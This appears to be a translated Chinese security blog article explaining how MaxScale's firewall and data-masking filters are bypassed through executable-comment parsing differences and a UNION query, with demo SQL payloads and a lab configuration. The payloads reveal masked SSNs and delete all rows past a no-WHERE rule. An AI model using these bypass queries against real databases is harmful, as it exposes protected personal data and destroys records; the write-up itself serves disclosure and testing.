攻击者是如何绕过MySQL代理应用MaxScale的防火墙和内容屏蔽规则的
导语:在本文中,我们将为读者介绍攻击者是如何绕过MySQL代理应用 MaxScale 的防火墙和内容屏蔽规则的 。
背景知识
MaxScale是由Mariadb开发的一款MySQL代理程序。我们可以把它看作一个支持MySQL的Haproxy。下面,我们将为大家介绍该程序提供的两个过滤模块:
数据库防火墙模块:允许您使用一组灵活的规则来阻止查询,这些规则能够完成授权系统无法做到的那些事情。
内容屏蔽模块:允许您返回某些列的假/屏蔽数据(例如,对某些客户屏蔽PII)。
演示
首先,让我们看看这些过滤器在实践中是如何工作的。我们将:
· 使用列id、first_name、last_name和ssn来创建一个名为managers的表
· 创建屏蔽规则以返回SSN的假值
· 创建防火墙规则,以阻止没有提供WHERE子句的DELETE查询
mysql> select * from managers; +----+------------+-----------+-------------+ | id | first_name | last_name | ssn | +----+------------+-----------+-------------+ | 1 | Hugh | Mann | XXX-XX-XXXX | | 2 | John | Doe | XXX-XX-XXXX | +----+------------+-----------+-------------+ 2 rows in set (0.00 sec) mysql> select CONCAT(ssn) from managers; ERROR 1141 (HY000): The function CONCAT is used in conjunction with a field that should be masked for 'maxuser'@'::ffff:127.0.0.1', access is denied. mysql> delete from managers; ERROR 1141 (HY000): Access denied for user 'maxuser'@'::ffff:127.0.0.1': Required WHERE/HAVING clause is missing
漏洞利用方式
MaxScale如何解析查询
MaxScale要想正常工作,它必须能够正确解析传入的SQL查询,只有这样,其路由器和过滤器才可以正确处理各种请求。实际上,该功能包含在名为query_classifier的模块中。过去,它使用的是mysql_embedded库,但是现在,使用的是sqlite的修订版。
解析后,MaxScale的模块就能访问相关信息了,例如查询类型(用于确定服务器应该路由到哪个后端以进行读/写拆分等),引用的数据库/表/列,以及查询的AST。
安全隐患
MySQL的查询解析器的一个复杂之处在于,它对上下文是非常敏感的。只有知道了当前的SQL模式、已定义函数/表/数据库和MySQL版本等信息后,才能对查询进行正确的解析。MaxScale解释查询的方式与后端如何解释查询之间如果存在差异,不仅会导致正确路由查询时出现问题,而且还会为黑客敞开一扇大门,使他们能够根据解析后的结果绕过系统提供的各种保护。
MaxScale如何处理可执行注释
MySQL中的可执行注释,与HTML的条件注释非常相似。这些注释的目的是,不仅可以使用较新MySQL版本的功能,同时,还能保持查询向后兼容。下面是MySQL文档中的一个示例:
如果在感叹号!后添加一个版本号,则仅当MySQL版本大于或等于指定的版本号时,才执行注释中的语法。以下注释中的key_block_size关键字,仅会由MySQL5.1.10或更高版本的服务器执行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;
下面,让我们来看看MaxScale的SQLite查询分类器是如何处理这些注释的:
#ifdef MAXSCALE if ( z[2] == '!' ){ // MySQL-specific code for (i=3, c=z[2]; (c!='*' || z[i]!='/') && (c=z[i])!=0; i++){} if (c=='*' && z[i]=='/'){ char* znc = (char*) z; znc[0]=znc[1]=znc[2]=znc[i-1]=znc[i]=' '; // Remove comment chars, i.e. "/*!" and "*/". for (i=3; sqlite3Isdigit(z[i]); ++i){} // Jump over the MySQL version number. for (; sqlite3Isspace(z[i]); ++i){} // Jump over any space. }
由此可以看出,tokenizer总是将可执行注释的内容解析为SQL,而不管后端的版本如何。
可执行注释的利用方法
利用MaxScale和后端服务器在解释带有可执行注释的查询的方式之间的差异,我们可以绕过防火墙规则和屏蔽规则。
通过发送一个带有可执行注释的查询——该查询的目标版本高于后端服务器(假设是99.99.99版),我们可以插入将由MaxScale解释却会被后端忽略的SQL操作。
利用这一点,攻击者可以窃取某些SSN:
mysql> /*!99999 CREATE PROCEDURE bypass BEGIN */ select managers.*, CONCAT(ssn) from managers /*!99999 END */; +----+------------+-----------+-------------+-------------+ | id | first_name | last_name | ssn | CONCAT(ssn) | +----+------------+-----------+-------------+-------------+ | 1 | Hugh | Mann | XXX-XX-XXXX | 111-22-3333 | | 2 | John | Doe | XXX-XX-XXXX | 444-55-6666 | +----+------------+-----------+-------------+-------------+ 2 rows in set (0.00 sec)
让我们看看这里到底发生了什么:
· 屏蔽过滤器(The masking filter)将根据com_query_response数据包的schema、org_table和org_name字段来屏蔽结果集。
· 因此,它会禁止用户在SELECT语句中使用类似CONCAT这样的函数,从而导致这些字段与屏蔽规则不匹配,最终导致显示原始值。
· MaxScale将payload解释为CREATE PROCEDURE查询,因此,没有检查函数是否与被屏蔽的表相关联。
· Mariadb忽略了与版本相关的可执行注释,并将查询解释为select managers.*, CONCAT(ssn) from managers,并屁颠屁颠地返回了结果。
我们可以使用相同的方法,将我们的payload封装到CREATE PROCEDURE中,以绕过防火墙规则,进而执行没有WHERE子句的DELETE查询。
绕过防火墙规则的另一种方法,是在可执行注释中放入WHERE子句,虽然满足了MaxScales端的防火墙规则,但后端服务器却会忽略它。
mysql> delete from managers /*!99999 WHERE 1=0 */; Query OK, 2 rows affected (0.01 sec)
如上所示,后端服务器的确忽略了WHERE子句,并删除了管理器表中的所有行。
使用并集操作绕过屏蔽规则
在考察上述漏洞时,我发现了另一种绕过屏蔽过滤器限制的方法。 由于屏蔽过程是基于响应数据包中的字段来完成的,所以,我们可以通过使用简单的并集操作来绕过该过滤器:
mysql> select 1,1,1,1 UNION SELECT * from managers; +---+------+------+-------------+ | 1 | 1 | 1 | 1 | +---+------+------+-------------+ | 1 | 1 | 1 | 1 | | 1 | Hugh | Mann | 111-22-3333 | | 2 | John | Doe | 444-55-6666 | +---+------+------+-------------+ 3 rows in set (0.00 sec)
通过在此处使用并集操作,就能阻止软件将列定义的org_schema、org_table和org_name字段分别设置为test、managers和ssn。
搭建测试环境
对于那些想要在家中动手练习的读者,可以安照下面的步骤安装设置MySQL和MaxScale。对于本演示来说,可以使用MaxScale文档介绍的例子,在Docker Compose环境中对上面介绍的两个过滤器进行测试。
示例模式
首先,我们需要用到一个模式,以及一些测试数据:
create database test; use test; CREATE TABLE `managers` ( `id` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(255) NOT NULL, `last_name` varchar(255) NOT NULL, `ssn` varchar(111) NOT NULL, PRIMARY KEY (`id`) ); INSERT INTO managers (first_name, last_name, ssn) VALUES ('Hugh', 'Mann', '111-22-3333'); INSERT INTO managers (first_name, last_name, ssn) VALUES ('John', 'Doe', '444-55-6666');
MaxScale的配置
现在,我们要将MaxScale配置为:
· 屏蔽ssn的值。
· 阻止所有没有WHERE子句DELETE语句来查询managers表。
maxscale.cnf [server1] type=server address=master port=3306 protocol=MariaDBBackend [server2] type=server address=slave1 port=3306 protocol=MariaDBBackend [server3] type=server address=slave2 port=3306 protocol=MariaDBBackend # Monitor for the servers # This will keep MaxScale aware of the state of the servers. # MySQL Monitor documentation: # https://github.com/mariadb-corporation/MaxScale/blob/2.3/Documentation/Monitors/MariaDB-Monitor.md [MariaDB-Monitor] type=monitor module=mariadbmon servers=server1,server2,server3 user=maxuser passwd=maxpwd auto_failover=true auto_rejoin=true enforce_read_only_slaves=1 # Service definitions # Service Definition for a read-only service and a read/write splitting service. # Listener definitions for the services # Listeners represent the ports the services will listen on. [Firewall-Listener] type=listener service=Firewall-Service protocol=MySQLClient port=4009 [DatabaseFirewall] type=filter module=dbfwfilter rules=/etc/maxscale-rules.d/rules.txt [SSNMask] type=filter module=masking warn_type_mismatch=always large_payload=abort rules=/etc/maxscale-rules.d/mask.json [Firewall-Service] type=service router=readwritesplit servers=server1,server2,server3 user=maxuser password=maxpwd filters=DatabaseFirewall|SSNMask firewall rules rule safe_delete match no_where_clause on_queries delete rule managers_table match regex '.*from.*managers.*' users %@% match all rules safe_delete managers_table masking rules { "rules": [ { "replace": { "column": "ssn" }, "with": { "value": "XXX-XX-XXXX" } } ] }
发表评论